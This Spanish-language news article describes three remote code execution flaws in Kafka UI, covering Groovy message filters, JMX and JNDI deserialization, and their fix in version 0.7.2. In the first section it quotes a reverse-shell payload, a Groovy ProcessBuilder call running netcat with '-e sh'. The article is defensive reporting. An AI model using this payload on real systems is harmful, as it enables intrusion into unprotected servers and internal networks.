Tres Maneras de Obtener Ejecución Remota de Código en la Interfaz de Kafka

Elena Digital López

Una reciente investigación de seguridad ha revelado múltiples vulnerabilidades en la popular aplicación de código abierto Kafka UI, utilizada principalmente por desarrolladores y administradores para gestionar y monitorizar clusters de Apache Kafka. La herramienta, diseñada para ofrecer una representación visual de los clusters de Kafka conectados, no requiere autenticación en su configuración predeterminada, lo que ha resultado en muchas instancias de Kafka UI no protegidas, algunas incluso expuestas a la internet.

Uno de los descubrimientos más alarmantes señala que estas instancias sin protección representan una puerta de entrada potencial a redes internas, pudiendo exponer datos públicos o no sensibles, lo cual puede subestimarse como una amenaza de seguridad. La investigación detallada ha desvelado tres vulnerabilidades que permiten la ejecución remota de código (RCE) en Kafka UI.

El primer hallazgo, identificado como CVE-2023-52251, está relacionado con la funcionalidad de filtrado de mensajes de Kafka UI, que permite realizar consultas simples para filtrar mensajes en el servidor. Se descubrió que Kafka UI soporta el tipo de filtro GROOVY_SCRIPT, evaluando la consulta como un script Groovy, lo cual permite a un atacante ejecutar código arbitrario. Por ejemplo, un atacante puede crear un filtro malicioso con el contenido new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start(), obteniendo acceso de shell inverso en el servidor afectado.

Otra vulnerabilidad, catalogada como CVE-2024-32030, afecta al conector JMX. En casos donde Kafka UI está configurado para permitir la reconfiguración dinámica a través de la API, un atacante puede conectar Kafka UI a un servidor JMX arbitrario y ejecutar ataques de deserialización, similares a los ataques JNDI que explotaron vulnerabilidades en el pasado. Esta explotación permite a los atacantes ejecutar comandos arbitrarios en el servidor de Kafka UI.

La tercera vulnerabilidad, CVE-2023-25194, involucra la incorrecta configuración de sasl.jaas.config que permite cargar un módulo JndiLoginModule. Un atacante puede explotar esta configuración para conectar Kafka UI a un servidor JNDI malicioso, ejecutando ataques de deserialización que resulten en la ejecución de código arbitrario.

Las vulnerabilidades descubiertas han sido parchadas en la versión 0.7.2 de Kafka UI, lanzada el 10 de abril de 2024. Es vital que todos los usuarios de Kafka UI actualicen a esta versión para mitigar estos riesgos de seguridad. Esta actualización impide las vulnerabilidades al actualizar las bibliotecas subyacentes y restringir la carga de módulos peligrosos.

La investigación resalta la necesidad de robustas prácticas de seguridad en herramientas modernas de administración como Kafka UI. La ejecución de características avanzadas como scripting Groovy y conexiones JMX debe ser cuidadosamente controlada para evitar posibles abusos. Las tecnologías que rodean Java y sus extensiones, aunque potentes, pueden ser explotadas si no se manejan adecuadamente.

Estos descubrimientos sirven como un recordatorio de los riesgos persistentes y la necesidad de mantenerse actualizado con las últimas prácticas y parches de seguridad.

Scroll al inicio